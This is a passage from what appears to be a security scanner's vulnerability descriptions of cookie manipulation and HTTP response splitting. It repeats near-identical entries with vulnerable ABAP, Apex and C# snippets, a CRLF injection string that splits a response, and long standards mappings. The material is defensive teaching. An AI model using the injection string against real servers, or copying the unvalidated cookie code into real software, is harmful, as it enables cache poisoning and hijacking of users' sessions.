Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.vb.header_manipulation
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP cookie sent to a web user without being validated.

As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, Cookie manipulation attacks can also lead to other types of attacks like:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.abap.header_manipulation_cookies
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation, or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently in an HTTP request.



2. The data is included in an HTTP cookie sent to a web user without being validated.



As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks such as cross-site request forgery, attackers might change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, Cookie manipulation attacks can also lead to other types of attacks such as:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example 1: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


...
Cookie cookie = new Cookie('author', author, '/', -1, false);
ApexPages.currentPage().setCookies(new Cookie[] {cookie});
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for author does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.apex.header_manipulation_cookies
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP cookie sent to a web user without being validated.

As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, cookie manipulation attacks can also lead to other types of attacks like:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
